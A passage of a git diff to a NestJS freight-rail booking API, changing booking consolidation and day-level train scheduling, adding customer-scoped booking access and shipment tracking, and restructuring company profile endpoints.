NotFoundException,
} from '@nestjs/common';
-import { SchedulingStatus } from '@edr/types';
+import { Freight, SchedulingStatus } from '@edr/types';
// import { CustomersService } from '../customers/customers.service';
import { CompaniesService } from '../companies/companies.service';
+import { TrainSchedulingService } from '../train-scheduling/train-scheduling.service';
+import { eatDay } from '../train-scheduling/batch-window.util';
import { FilesService } from '../files/files.service';
import { MinioService } from '../minio/minio.service';
import { ContainerTypesService } from '../rule-engine/services/container-types.service';
@@ -52,6 +57,8 @@ export class BookingsService {
private readonly minioService: MinioService,
// private readonly customersService: CustomersService,
private readonly companiesService: CompaniesService,
+ @Inject(forwardRef(() => TrainSchedulingService))
+ private readonly trainSchedulingService: TrainSchedulingService,
private readonly ruleEngineService: RuleEngineService,
private readonly containerTypesService: ContainerTypesService,
private readonly consolidationService: ConsolidationService,
@@ -146,13 +153,17 @@ export class BookingsService {
/**
* Enable consolidation when any container line leaves a wagon partially filled
- * (e.g. 1×20ft on a 2-slot wagon, 1×10ft on a 4-slot wagon), unless opted out.
+ * (e.g. 1×20ft on a 2-slot wagon, 1×10ft on a 4-slot wagon).
+ *
+ * Partial-wagon cargo ALWAYS consolidates — the customer cannot opt out of a
+ * half-empty wagon, so `explicit === false` is ignored when consolidation is
+ * actually needed. The opt-in flag only matters for cargo that already fills
+ * whole wagons (where consolidation is moot anyway).
*/
private async resolveConsolidation(
containers: CreateBookingContainerDto[],
explicit?: boolean,
): Promise {
- if (explicit === false) return false;
const needs = await this.consolidationService.needsConsolidation(
containers.map((c) => ({
containerTypeId: c.containerTypeId,
@@ -193,10 +204,11 @@ export class BookingsService {
return { booking: paired, messages };
}
- if (booking.status === 'DRAFT') {
- await this.bookingsRepository.update(booking.id, {
- status: 'PENDING_CONSOLIDATION',
- } as never);
+ // No partner yet — park the booking so it waits. Applies both pre-submit
+ // (DRAFT) and at submit time (SUBMITTED); accepted/approved bookings never
+ // reach this method.
+ if (booking.status === 'DRAFT' || booking.status === 'SUBMITTED') {
+ await this.bookingsRepository.parkForConsolidation(booking.id);
}
const pending = await this.findById(booking.id);
@@ -205,45 +217,24 @@ export class BookingsService {
}
/**
- * Consolidation gate used at staff-accept time. Returns the (possibly newly
- * paired) booking plus whether it still needs a consolidation partner.
- * When a booking needs consolidation and none is found, it is parked in
- * PENDING_CONSOLIDATION and `blocked` is true so the caller refuses the accept.
+ * Run consolidation right after a booking reaches SUBMITTED. If a complementary
+ * partner already exists, both are paired and moved (back) to SUBMITTED so staff
+ * can accept them. Otherwise the booking is parked in PENDING_CONSOLIDATION and
+ * waits for a later complementary booking to complete the wagon.
+ *
+ * Returns the re-fetched booking, so callers can reflect the resulting status
+ * (SUBMITTED when paired/not-needed, PENDING_CONSOLIDATION when waiting).
*/
- async resolveConsolidationGate(bookingId: string): Promise<{
- booking: Booking;
- blocked: boolean;
- message?: string;
- }> {
- let booking = await this.findById(bookingId);
+ async runConsolidationOnSubmit(bookingId: string): Promise {
+ const booking = await this.findById(bookingId);
- // Already paired — passes the gate.
+ // Already paired (e.g. a partner submitted first) — nothing to do.
if (booking.consolidationPartnerId) {
- return { booking, blocked: false };
+ return booking;
}
- const needs =
- await this.consolidationService.needsConsolidationFromBooking(booking);
- if (!needs) {
- return { booking, blocked: false };
- }
-
- // A partner may have appeared since submission — try to pair now.
const result = await this.tryAutoConsolidate(booking);
- booking = result.booking;
- if (booking.consolidationPartnerId) {
- return { booking, blocked: false, message: result.messages.join(' ') };
- }
-
- // Still no partner — park it and block the accept.
- await this.bookingsRepository.parkForConsolidation(booking.id);
- booking = await this.findById(booking.id);
- const slots = await this.consolidationService.slotsFromBooking(booking);
- return {
- booking,
- blocked: true,
- message: this.consolidationService.describePending(booking, slots),
- };
+ return result.booking;
}
/** Create a new freight booking. */
@@ -283,8 +274,8 @@ export class BookingsService {
companyId = company.id;
}
- // Schedule targeting: when provided, the schedule must be OPEN and on the same route.
if (dto.trainScheduleId) {
+ // Staff manual pin: the schedule must be OPEN and on the same route.
const schedule = await this.dataSource
.getRepository(TrainSchedule)
.findOne({ where: { id: dto.trainScheduleId } });
@@ -300,6 +291,22 @@ export class BookingsService {
) {
throw new BadRequestException('Selected schedule is not on the booking route');
}
+ } else {
+ // Day-level pool: the customer picked a DAY — require that the route has at
+ // least one OPEN departure on that EAT day. The batch engine assigns the
+ // train later.
+ const day = eatDay(new Date(dto.scheduledDate));
+ const hasDeparture =
+ await this.trainSchedulingService.existsOpenScheduleOnRouteDay(
+ dto.originYardId,
+ dto.destinationYardId,
+ day,
+ );
+ if (!hasDeparture) {
+ throw new BadRequestException(
+ 'No departures available on the selected day for this route',
+ );
+ }
}
const reference = dto.reference || (await this.generateReference());
@@ -575,6 +582,7 @@ export class BookingsService {
/** Return a paginated list of bookings matching the filter. */
async findAll(
filter: FilterBookingDto,
+ forceCompanyId?: string,
): Promise<{ items: Booking[]; total: number }> {
const page = filter.page ?? 1;
const pageSize = filter.pageSize ?? 20;
@@ -587,7 +595,9 @@ export class BookingsService {
...statusFilter,
...schedulingStatusFilter,
assignedToSchedule: filter.assignedToSchedule,
- companyId: filter.companyId,
+ // A forced company scope (portal/customer) overrides any caller-provided
+ // companyId so a customer can only ever see their own company's bookings.
+ companyId: forceCompanyId ?? filter.companyId,
contractType: filter.contractType,
serviceTypeId: filter.serviceTypeId,
cargoTypeId: filter.cargoTypeId,
@@ -631,6 +641,109 @@ export class BookingsService {
});
}
+ /**
+ * Resolve the company a customer user belongs to, for scoping their own
+ * bookings. Returns null when no profile/company is linked yet.
+ */
+ async resolveCustomerCompanyId(userId: string): Promise {
+ try {
+ const { company } =
+ await this.companiesService.getCompanyInfoByUserId(userId);
+ return company?.id ?? null;
+ } catch {
+ return null;
+ }
+ }
+
+ /**
+ * Authorize a customer's access to a single booking. Staff are scoped at the
+ * controller (they pass `isStaff`); for a customer, the booking must belong
+ * to the company the authenticated user is linked to — otherwise it is hidden
+ * behind a NotFound so booking IDs can't be probed.
+ */
+ async assertCustomerCanAccessBooking(
+ userId: string | undefined,
+ booking: Booking,
+ ): Promise {
+ if (!userId) {
+ throw new ForbiddenException('Authentication required');
+ }
+ const companyId = await this.resolveCustomerCompanyId(userId);
+ if (!companyId || booking.companyId !== companyId) {
+ // Don't reveal that the booking exists for another company.
+ throw new NotFoundException(`Booking ${booking.id} not found`);
+ }
+ }
+
+ /**
+ * Build the customer-facing shipment tracking payload for a booking from the
+ * train schedule it is assigned to and the live checkpoint log. The caller is
+ * responsible for authorizing access to the booking first.
+ *
+ * When the booking has not been assigned to a train yet, returns a valid
+ * "no schedule" payload so the UI can show a pre-dispatch state.
+ */
+ async getBookingTracking(
+ bookingId: string,
+ ): Promise {
+ const booking = await this.findById(bookingId);
+
+ const empty: Freight.IBookingTracking = {
+ bookingId: booking.id,
+ bookingReference: booking.reference,
+ hasSchedule: false,
+ scheduleId: null,
+ trainNumber: null,
+ scheduleStatus: null,
+ direction: null,
+ origin: null,
+ destination: null,
+ stations: [],
+ checkpoints: [],
+ currentSequenceNo: -1,
+ actualDepartureAt: null,
+ actualArrivalAt: null,
+ scheduledDepartureAt: null,
+ scheduledArrivalAt: null,
+ };
+
+ if (!booking.trainScheduleId) {
+ return empty;
+ }
+
+ // Pull the live corridor + checkpoints for the assigned schedule. If the
+ // schedule was removed, fall back to the pre-dispatch state rather than 500.
+ let track: Awaited<
+ ReturnType
+ >;
+ try {
+ track = await this.trainSchedulingService.getScheduleCheckpoints(
+ booking.trainScheduleId,
+ );
+ } catch {
+ return empty;
+ }
+
+ return {
+ bookingId: booking.id,
+ bookingReference: booking.reference,
+ hasSchedule: true,
+ scheduleId: track.scheduleId,
+ trainNumber: track.trainNumber,
+ scheduleStatus: track.status as Freight.TrainScheduleStatus,
+ direction: track.direction,
+ origin: track.origin,
+ destination: track.destination,
+ stations: track.stations,
+ checkpoints: track.checkpoints as Freight.ITrackingCheckpoint[],
+ currentSequenceNo: track.currentSequenceNo,
+ actualDepartureAt: track.actualDepartureAt,
+ actualArrivalAt: track.actualArrivalAt,
+ scheduledDepartureAt: track.scheduledDepartureAt,
+ scheduledArrivalAt: track.scheduledArrivalAt,
+ };
+ }
+
/** Aggregate metrics and tab counts for the backoffice booking list. */
async getListSummary(filter: FilterBookingDto): Promise {
const page = filter.page ?? 1;
diff --git a/apps/edr-freight-api/src/modules/bookings/dto/create-booking.dto.ts b/apps/edr-freight-api/src/modules/bookings/dto/create-booking.dto.ts
index 3c7eca391..fa3bb6f4d 100644
--- a/apps/edr-freight-api/src/modules/bookings/dto/create-booking.dto.ts
+++ b/apps/edr-freight-api/src/modules/bookings/dto/create-booking.dto.ts
@@ -91,12 +91,21 @@ export class CreateBookingDto {
@IsUUID()
trainId?: string;
- /** Target schedule this booking is created against (required by the backoffice create form). */
- @ApiPropertyOptional({ format: 'uuid', description: 'Target train schedule (pool membership)' })
+ /**
+ * Staff-only manual pin to a specific train. Customers omit this — they pick a
+ * DAY via {@link scheduledDate} and the batch engine assigns a train within
+ * that (route, day) pool. When provided, the schedule must be OPEN and on the
+ * booking route.
+ */
+ @ApiPropertyOptional({
+ format: 'uuid',
+ description: 'Staff only: pin to a specific train schedule. Customers omit this.',
+ })
@IsOptional()
@IsUUID()
trainScheduleId?: string;
+ /** The day the customer wants to ship (the pool day key). */
@ApiProperty({ example: '2026-06-15T00:00:00.000Z' })
@IsDateString()
scheduledDate!: string;
diff --git a/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts b/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts
index 961137896..c5dac1736 100644
--- a/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts
+++ b/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts
@@ -280,7 +280,15 @@ export class Booking extends BaseEntity {
@Column({ name: 'scheduled_at', type: 'timestamptz', nullable: true })
scheduledAt?: Date | null;
- /** The schedule this booking targets (pool membership), set at creation. FK to train_schedules. */
+ /**
+ * The train this booking is assigned to. FK to train_schedules.
+ *
+ * Day-level pooling: customers no longer pick a train — they pick a DAY, and
+ * this stays null at creation. The batch engine sets it when it assigns the
+ * booking to a specific train within its (route, day) pool; staff may also
+ * pin it manually. The day-level pool is keyed on
+ * (origin_yard_id, destination_yard_id, day of scheduled_date), not this column.
+ */
@Column({ name: 'train_schedule_id', type: 'uuid', nullable: true })
trainScheduleId?: string | null;
diff --git a/apps/edr-freight-api/src/modules/companies/companies.controller.ts b/apps/edr-freight-api/src/modules/companies/companies.controller.ts
index 81fba19fb..ac2868ec3 100644
--- a/apps/edr-freight-api/src/modules/companies/companies.controller.ts
+++ b/apps/edr-freight-api/src/modules/companies/companies.controller.ts
@@ -1,22 +1,38 @@
-import { Controller, Get, Post, Patch, Delete, Body, Param, Query, ParseUUIDPipe, HttpCode, HttpStatus, UseInterceptors, UploadedFiles } from '@nestjs/common';
-import { AnyFilesInterceptor } from '@nestjs/platform-express';
-import { ApiOperation, ApiTags, ApiConsumes } from '@nestjs/swagger';
-import { CurrentUser } from '@edr/api-common';
-import { FreightAdmin } from '../../common/booking-guards';
-import { FilesService } from '../files/files.service';
-import { CompaniesService } from './companies.service';
-import { CreateCompanyDto } from './dto/create-company.dto';
-import { UpdateCompanyDto } from './dto/update-company.dto';
-import { CreateExternalProfileDto } from './dto/create-external-profile.dto';
-import { CreateFFClientDto } from './dto/create-ff-client.dto';
-import { CreateCompanyWithProfileDto } from './dto/create-company-with-profile.dto';
-import { ResponseCompanyDto } from './dto/response-company.dto';
-import { ResponseExternalProfileDto } from './dto/response-external-profile.dto';
-import { ResponseFFClientDto } from './dto/response-ff-client.dto';
-import { CompanyInfoResponseDto } from './dto/company-info-response.dto';
-import { UpdateProfileDto } from './dto/update-profile.dto';
-import { ProfileResponseDto } from './dto/profile-response.dto';
-import { DashboardSummaryResponseDto } from './dto/dashboard-summary-response.dto';
+import {
+ Controller,
+ Get,
+ Post,
+ Patch,
+ Delete,
+ Body,
+ Param,
+ Query,
+ ParseUUIDPipe,
+ HttpCode,
+ HttpStatus,
+ UseInterceptors,
+ UploadedFiles,
+} from "@nestjs/common";
+import { AnyFilesInterceptor } from "@nestjs/platform-express";
+import { ApiOperation, ApiTags, ApiConsumes } from "@nestjs/swagger";
+import { CurrentUser } from "@edr/api-common";
+import { FreightAdmin } from "../../common/booking-guards";
+import { FilesService } from "../files/files.service";
+import { CompaniesService } from "./companies.service";
+import { CreateCompanyDto } from "./dto/create-company.dto";
+import { UpdateCompanyDto } from "./dto/update-company.dto";
+import { CreateExternalProfileDto } from "./dto/create-external-profile.dto";
+import { CreateCompanyWithProfileDto } from "./dto/create-company-with-profile.dto";
+import { AddCompanyProfilesDto } from "./dto/add-company-profiles.dto";
+import {
+ ResponseCompanyDto,
+ ResponseCompanyProfileDto,
+} from "./dto/response-company.dto";
+import { ResponseExternalProfileDto } from "./dto/response-external-profile.dto";
+import { CompanyInfoResponseDto } from "./dto/company-info-response.dto";
+import { UpdateProfileDto } from "./dto/update-profile.dto";
+import { ProfileResponseDto } from "./dto/profile-response.dto";
+import { DashboardSummaryResponseDto } from "./dto/dashboard-summary-response.dto";
interface CurrentIamUser {
id: string;
@@ -25,36 +41,47 @@ interface CurrentIamUser {
phoneNumber?: string;
}
-@ApiTags('Companies')
-@Controller('companies')
+@ApiTags("Companies")
+@Controller("companies")
export class CompaniesController {
constructor(
private readonly companiesService: CompaniesService,
private readonly filesService: FilesService,
- ) {}
+ ) { }
- @Get('getInfo')
- @ApiOperation({ summary: 'Get company info for the current user' })
- async getInfo(@CurrentUser() user: CurrentIamUser): Promise {
- const { profile, company } = await this.companiesService.getCompanyInfoByUserId(user.id);
+ @Get("getInfo")
+ @ApiOperation({ summary: "Get company info for the current user" })
+ async getInfo(
+ @CurrentUser() user: CurrentIamUser,
+ ): Promise {
+ const { profile, company } =
+ await this.companiesService.getCompanyInfoByUserId(user.id);
return new CompanyInfoResponseDto(profile, company);
}
- @Get('profile')
- @ApiOperation({ summary: 'Get flattened profile for the settings page' })
- async getProfile(@CurrentUser() user: CurrentIamUser): Promise {
- const { profile, company } = await this.companiesService.getCompanyInfoByUserId(user.id);
+ @Get("profile")
+ @ApiOperation({ summary: "Get flattened profile for the settings page" })
+ async getProfile(
+ @CurrentUser() user: CurrentIamUser,
+ ): Promise {
+ const { profile, company } =
+ await this.companiesService.getCompanyInfoByUserId(user.id);
return new ProfileResponseDto(profile, company);
}
- @Get('dashboard')
- @ApiOperation({ summary: 'Get portal dashboard KPIs (delivered, spend, freight volume) for the current user' })
- async getDashboard(@CurrentUser() user: CurrentIamUser): Promise {
+ @Get("dashboard")
+ @ApiOperation({
+ summary:
+ "Get portal dashboard KPIs (delivered, spend, freight volume) for the current user",
+ })
+ async getDashboard(
+ @CurrentUser() user: CurrentIamUser,
+ ): Promise {
return this.companiesService.getDashboardSummary(user.id);
}
- @Patch('profile')
- @ApiOperation({ summary: 'Update profile (flattened settings page)' })
+ @Patch("profile")
+ @ApiOperation({ summary: "Update profile (flattened settings page)" })
async updateProfile(
@CurrentUser() user: CurrentIamUser,
@Body() dto: UpdateProfileDto,
@@ -62,145 +89,153 @@ export class CompaniesController {
return this.companiesService.updateProfile(user.id, dto);
}
- @Post('create')
- @ApiOperation({ summary: 'Create a company with its associated external profile (onboarding)' })
+ @Post("company-profiles")
+ @ApiOperation({
+ summary:
+ "Add operational profile(s) (importer/exporter/forwarder) to the current user's company",
+ })
+ async addCompanyProfiles(
+ @CurrentUser() user: CurrentIamUser,
+ @Body() dto: AddCompanyProfilesDto,
+ ): Promise {
+ const profiles = await this.companiesService.addCompanyProfilesForUser(
+ user.id,
+ dto.types,
+ );
+ return profiles.map((p) => new ResponseCompanyProfileDto(p));
+ }
+
+ // Used by portal
+ @Post("create")
+ @ApiOperation({
+ summary:
+ "Create a company with its associated external profile (onboarding)",
+ })
async createWithProfile(
@CurrentUser() user: CurrentIamUser,
@Body() dto: CreateCompanyWithProfileDto,
): Promise {
- const nameParts = (user.name?.en ?? '').split(' ');
- const { profile, company } = await this.companiesService.createCompanyWithProfile(
- {
- userId: user.id,
- firstName: nameParts[0] || '',
- lastName: nameParts.slice(-1)[0] || '',
- email: user.email ?? '',
- phone: user.phoneNumber ?? '',
- },
- dto,
- );
+ const nameParts = (user.name?.en ?? "").split(" ");
+ const { profile, company } =
+ await this.companiesService.createCompanyWithProfile(
+ {
+ userId: user.id,
+ firstName: nameParts[0] || "",
+ lastName: nameParts.slice(-1)[0] || "",
+ email: user.email ?? "",
+ phone: user.phoneNumber ?? "",
+ },
+ dto,
+ );
return new CompanyInfoResponseDto(profile, company);
}
+ // Used by backoffice
@Post()
@FreightAdmin()
- @ApiOperation({ summary: 'Create a new company (customer, forwarder, transporter, broker)' })
+ @ApiOperation({
+ summary:
+ "Create a new company (customer, freight_forwarder, dj_freight_forwarder, transporter)",
+ })
async create(@Body() dto: CreateCompanyDto): Promise {
const company = await this.companiesService.createCompany(dto);
return new ResponseCompanyDto(company);
}
@Get()
- @ApiOperation({ summary: 'List all companies' })
+ @ApiOperation({ summary: "List all companies" })
async findAll(): Promise {
const companies = await this.companiesService.findAllCompanies();
return companies.map((c) => new ResponseCompanyDto(c));
}
- @Get('type/:type')
- @ApiOperation({ summary: 'Find companies by type' })
- async findByType(@Param('type') type: string): Promise {
+ @Get("type/:type")
+ @ApiOperation({ summary: "Find companies by type" })
+ async findByType(@Param("type") type: string): Promise {
const companies = await this.companiesService.findAllCompanies();
- return companies.filter((c) => c.type === type).map((c) => new ResponseCompanyDto(c));
+ return companies
+ .filter((c) => c.type === type)
+ .map((c) => new ResponseCompanyDto(c));
}
- @Get('search')
- @ApiOperation({ summary: 'Search companies by name' })
- async search(@Query('name') name: string): Promise {
+ @Get("search")
+ @ApiOperation({ summary: "Search companies by name" })
+ async search(@Query("name") name: string): Promise {
const companies = await this.companiesService.findAllCompanies();
return companies
.filter((c) => c.name.toLowerCase().includes(name.toLowerCase()))
.map((c) => new ResponseCompanyDto(c));
}
- @Get(':id')
- @ApiOperation({ summary: 'Get company by ID' })
- async findById(@Param('id', ParseUUIDPipe) id: string): Promise {
+ @Get(":id")
+ @ApiOperation({ summary: "Get company by ID" })
+ async findById(
+ @Param("id", ParseUUIDPipe) id: string,
+ ): Promise {
const company = await this.companiesService.findCompanyById(id);
return new ResponseCompanyDto(company);
}
- @Patch(':id')
+ @Patch(":id")
@FreightAdmin()
- @ApiOperation({ summary: 'Update a company' })
+ @ApiOperation({ summary: "Update a company" })
async update(
- @Param('id', ParseUUIDPipe) id: string,
+ @Param("id", ParseUUIDPipe) id: string,
@Body() dto: UpdateCompanyDto,
): Promise {
const company = await this.companiesService.updateCompany(id, dto);
return new ResponseCompanyDto(company);
}
- @Delete(':id')
+ @Delete(":id")
@FreightAdmin()
- @ApiOperation({ summary: 'Soft-delete a company' })
+ @ApiOperation({ summary: "Soft-delete a company" })
@HttpCode(HttpStatus.NO_CONTENT)
- async remove(@Param('id', ParseUUIDPipe) id: string): Promise {
+ async remove(@Param("id", ParseUUIDPipe) id: string): Promise {
await this.companiesService.deleteCompany(id);
}
- @Post(':companyId/documents')
+ @Post(":companyId/documents")
@UseInterceptors(AnyFilesInterceptor())
- @ApiConsumes('multipart/form-data')
- @ApiOperation({ summary: 'Upload documents for a company (onboarding)' })
+ @ApiConsumes("multipart/form-data")
+ @ApiOperation({ summary: "Upload documents for a company (onboarding)" })
async uploadDocuments(
- @Param('companyId', ParseUUIDPipe) companyId: string,
+ @Param("companyId", ParseUUIDPipe) companyId: string,
@UploadedFiles() files: Array,
) {
- return this.filesService.uploadMany(companyId, 'companies', files);
+ return this.filesService.uploadMany(companyId, "companies", files);
}
- @Post(':companyId/profiles')
+ @Post(":companyId/profiles")
@FreightAdmin()
- @ApiOperation({ summary: 'Add a profile (employee) to a company' })
+ @ApiOperation({ summary: "Add a profile (employee) to a company" })
async createProfile(
- @Param('companyId', ParseUUIDPipe) companyId: string,
+ @Param("companyId", ParseUUIDPipe) companyId: string,
@Body() dto: CreateExternalProfileDto,
): Promise {
- const profile = await this.companiesService.createProfile({ ...dto, companyId });
+ const profile = await this.companiesService.createProfile({
+ ...dto,
+ companyId,
+ });
return new ResponseExternalProfileDto(profile);
}
- @Get(':companyId/profiles')
- @ApiOperation({ summary: 'List profiles for a company' })
+ @Get(":companyId/profiles")
+ @ApiOperation({ summary: "List profiles for a company" })
async listProfiles(
- @Param('companyId', ParseUUIDPipe) companyId: string,
+ @Param("companyId", ParseUUIDPipe) companyId: string,
): Promise {
- const profiles = await this.companiesService.findProfilesByCompany(companyId);
+ const profiles =
+ await this.companiesService.findProfilesByCompany(companyId);
return profiles.map((p) => new ResponseExternalProfileDto(p));
}
- @Get('profile/user/:userId')
- @ApiOperation({ summary: 'Get profile by IAM user ID' })
+ @Get("profile/user/:userId")
+ @ApiOperation({ summary: "Get profile by IAM user ID" })
async findProfileByUser(
- @Param('userId', ParseUUIDPipe) userId: string,
+ @Param("userId", ParseUUIDPipe) userId: string,
): Promise {
const profile = await this.companiesService.findProfileByUserId(userId);
return new ResponseExternalProfileDto(profile);
}
-
- @Post('ff-clients')
- @FreightAdmin()
- @ApiOperation({ summary: 'Link a forwarder to a client company' })
- async createFFClient(@Body() dto: CreateFFClientDto): Promise {
- const client = await this.companiesService.createFFClient(dto);
- return new ResponseFFClientDto(client);
- }
-
- @Get(':forwarderCompanyId/clients')
- @ApiOperation({ summary: 'List clients of a forwarder' })
- async listFFClients(
- @Param('forwarderCompanyId', ParseUUIDPipe) forwarderCompanyId: string,
- ): Promise {
- const clients = await this.companiesService.findForwarderClients(forwarderCompanyId);
- return clients.map((c) => new ResponseFFClientDto(c));
- }
-
- @Delete('ff-clients/:id')
- @FreightAdmin()
- @ApiOperation({ summary: 'Remove a forwarder-client relationship' })
- @HttpCode(HttpStatus.NO_CONTENT)
- async removeFFClient(@Param('id', ParseUUIDPipe) id: string): Promise {
- await this.companiesService.deleteFFClient(id);
- }
}
diff --git a/apps/edr-freight-api/src/modules/companies/companies.module.ts b/apps/edr-freight-api/src/modules/companies/companies.module.ts
index 406c4f509..53d3de4c8 100644
--- a/apps/edr-freight-api/src/modules/companies/companies.module.ts
+++ b/apps/edr-freight-api/src/modules/companies/companies.module.ts
@@ -1,21 +1,30 @@
-import { Module } from '@nestjs/common';
-import { TypeOrmModule } from '@nestjs/typeorm';
-import { FilesModule } from '../files/files.module';
-import { CompaniesController } from './companies.controller';
-import { CompaniesService } from './companies.service';
-import { CompaniesRepository } from './companies.repository';
-import { ExternalProfileRepository } from './external-profile.repository';
-import { FFClientRepository } from './ff-client.repository';
-import { CompanyDashboardRepository } from './company-dashboard.repository';
-import { Company } from './entities/company.entity';
-import { ExternalProfile } from './entities/external-profile.entity';
-import { FFClient } from './entities/ff-client.entity';
-import { Booking } from '../bookings/entities/booking.entity';
+import { Module } from "@nestjs/common";
+import { TypeOrmModule } from "@nestjs/typeorm";
+import { FilesModule } from "../files/files.module";
+import { CompaniesController } from "./companies.controller";
+import { CompaniesService } from "./companies.service";
+import { CompaniesRepository } from "./companies.repository";
+import { ExternalProfileRepository } from "./external-profile.repository";
+import { CompanyDashboardRepository } from "./company-dashboard.repository";
+import { Company } from "./entities/company.entity";
+import { ExternalProfile } from "./entities/external-profile.entity";
+import { CompanyProfile } from "./entities/company-profile.entity";
+import { Booking } from "../bookings/entities/booking.entity";
+import { CompanyProfileRepository } from "./company-profile.repository";
@Module({
- imports: [TypeOrmModule.forFeature([Company, ExternalProfile, FFClient, Booking]), FilesModule],
+ imports: [
+ TypeOrmModule.forFeature([Company, ExternalProfile, CompanyProfile, Booking]),
+ FilesModule,
+ ],
controllers: [CompaniesController],
- providers: [CompaniesService, CompaniesRepository, ExternalProfileRepository, FFClientRepository, CompanyDashboardRepository],
+ providers: [
+ CompaniesService,
+ CompaniesRepository,
+ ExternalProfileRepository,
+ CompanyProfileRepository,
+ CompanyDashboardRepository,
+ ],
exports: [CompaniesService],
})
-export class CompaniesModule {}
+export class CompaniesModule { }
diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts
index 086e8d767..fe1bc5598 100644
--- a/apps/edr-freight-api/src/modules/companies/companies.service.ts
+++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts
@@ -1,19 +1,27 @@
-import { Injectable, NotFoundException, ConflictException } from '@nestjs/common';
-import { CompaniesRepository } from './companies.repository';
-import { ExternalProfileRepository } from './external-profile.repository';
-import { FFClientRepository } from './ff-client.repository';
-import { CompanyDashboardRepository } from './company-dashboard.repository';
-import { CreateCompanyDto } from './dto/create-company.dto';
-import { UpdateCompanyDto } from './dto/update-company.dto';
-import { CreateExternalProfileDto } from './dto/create-external-profile.dto';
-import { CreateFFClientDto } from './dto/create-ff-client.dto';
-import { CreateCompanyWithProfileDto } from './dto/create-company-with-profile.dto';
-import { UpdateProfileDto } from './dto/update-profile.dto';
-import { ProfileResponseDto } from './dto/profile-response.dto';
-import { DashboardSummaryResponseDto } from './dto/dashboard-summary-response.dto';
-import { Company } from './entities/company.entity';
-import { ExternalProfile } from './entities/external-profile.entity';
-import { FFClient } from './entities/ff-client.entity';
+import {
+ Injectable,
+ NotFoundException,
+ ConflictException,
+ BadRequestException,
+} from "@nestjs/common";
+import { CompaniesRepository } from "./companies.repository";
+import { CompanyProfileRepository } from "./company-profile.repository";
+import { ExternalProfileRepository } from "./external-profile.repository";
+import { CompanyDashboardRepository } from "./company-dashboard.repository";
+import { CreateCompanyDto } from "./dto/create-company.dto";
+import { UpdateCompanyDto } from "./dto/update-company.dto";
+import { CreateExternalProfileDto } from "./dto/create-external-profile.dto";
+import { CreateCompanyWithProfileDto } from "./dto/create-company-with-profile.dto";
+import { UpdateProfileDto } from "./dto/update-profile.dto";
+import { ProfileResponseDto } from "./dto/profile-response.dto";
+import { DashboardSummaryResponseDto } from "./dto/dashboard-summary-response.dto";
+import { Company } from "./entities/company.entity";
+import { ExternalProfile } from "./entities/external-profile.entity";
+import {
+ CompanyProfile,
+ ProfileType,
+ ProfileStatus,
+} from "./entities/company-profile.entity";
export interface UserIdentity {
userId: string;
@@ -27,10 +35,10 @@ export interface UserIdentity {
export class CompaniesService {
constructor(
private readonly companiesRepo: CompaniesRepository,
+ private readonly companyProfilesRepo: CompanyProfileRepository,
private readonly profilesRepo: ExternalProfileRepository,
- private readonly ffClientsRepo: FFClientRepository,
private readonly dashboardRepo: CompanyDashboardRepository,
- ) {}
+ ) { }
async createCompany(dto: CreateCompanyDto): Promise {
const exists = await this.companiesRepo.existsByTin(dto.tin);
@@ -40,27 +48,33 @@ export class CompaniesService {
return this.companiesRepo.create(dto);
}
- async createCompanyWithProfile(identity: UserIdentity, dto: CreateCompanyWithProfileDto): Promise<{ company: Company; profile: ExternalProfile }> {
+ async createCompanyWithProfile(
+ identity: UserIdentity,
+ dto: CreateCompanyWithProfileDto,
+ ): Promise<{ company: Company; profile: ExternalProfile }> {
if (dto.tin) {
const exists = await this.companiesRepo.existsByTin(dto.tin);
if (exists) {
- throw new ConflictException(`Company with TIN ${dto.tin} already exists`);
+ throw new ConflictException(
+ `Company with TIN ${dto.tin} already exists`,
+ );
}
}
const existingProfile = await this.profilesRepo.findByEmail(identity.email);
if (existingProfile) {
- throw new ConflictException(`Profile with email ${identity.email} already exists`);
+ throw new ConflictException(
+ `Profile with email ${identity.email} already exists`,
+ );
}
const company = await this.companiesRepo.create({
name: dto.companyName,
type: dto.companyType,
- tin: dto.tin ?? '',
+ tin: dto.tin ?? "",
vatNumber: dto.vatNumber ?? null,
- businessLicense: dto.fanNumber ?? null,
fanNumber: dto.fanNumber ?? null,
- country: dto.companyLocation ?? 'Ethiopia',
+ country: dto.companyLocation ?? "Ethiopia",
address: dto.companyAddress ?? null,
phone: dto.companyPhone ?? null,
email: dto.companyEmail ?? null,
@@ -78,11 +92,39 @@ export class CompaniesService {
isPrimaryContact: dto.isPrimaryContact ?? true,
});
+ // Persist the operational role(s) chosen during onboarding. Types are
+ // already constrained to the company type on the client; any that don't
+ // match are skipped defensively rather than failing the whole signup.
+ if (dto.companyProfiles?.length) {
+ const allowedTypes = this.getProfileTypeForCompanyType(company.type);
+ for (const input of dto.companyProfiles) {
+ if (!allowedTypes.includes(input.type)) continue;
+ const existing = await this.companyProfilesRepo.findByType(
+ company.id,
+ input.type,
+ );
+ if (existing) continue;
+ const reference = await this.companyProfilesRepo.generateReference(
+ input.type,
+ );
+ await this.companyProfilesRepo.create({
+ companyId: company.id,
+ type: input.type,
+ reference,
+ businessLicense: input.businessLicense ?? null,
+ status: ProfileStatus.Active,
+ });
+ }
+ company.companyProfiles = await this.companyProfilesRepo.findByCompanyId(
+ company.id,
+ );
+ }
+
return { company, profile };
}
async findAllCompanies(): Promise {
- return this.companiesRepo.findAll({ order: { name: 'ASC' as any } });
+ return this.companiesRepo.findAll({ order: { name: "ASC" } });
}
async findCompanyById(id: string): Promise {
@@ -91,12 +133,21 @@ export class CompaniesService {
return company;
}
- async getCompanyInfoByUserId(userId: string): Promise<{ profile: ExternalProfile; company: Company }> {
+ async getCompanyInfoByUserId(
+ userId: string,
+ ): Promise<{ profile: ExternalProfile; company: Company }> {
const profile = await this.profilesRepo.findByUserId(userId);
- if (!profile) throw new NotFoundException(`Profile for user ${userId} not found`);
+ if (!profile)
+ throw new NotFoundException(`Profile for user ${userId} not found`);
const company = profile.company;
- if (!company) throw new NotFoundException(`Company for profile ${profile.id} not found`);
+ if (!company)
+ throw new NotFoundException(
+ `Company for profile ${profile.id} not found`,
+ );
+
+ company.companyProfiles =
+ await this.companyProfilesRepo.findByCompanyId(company.id);
return { profile, company };
}
@@ -114,7 +165,9 @@ export class CompaniesService {
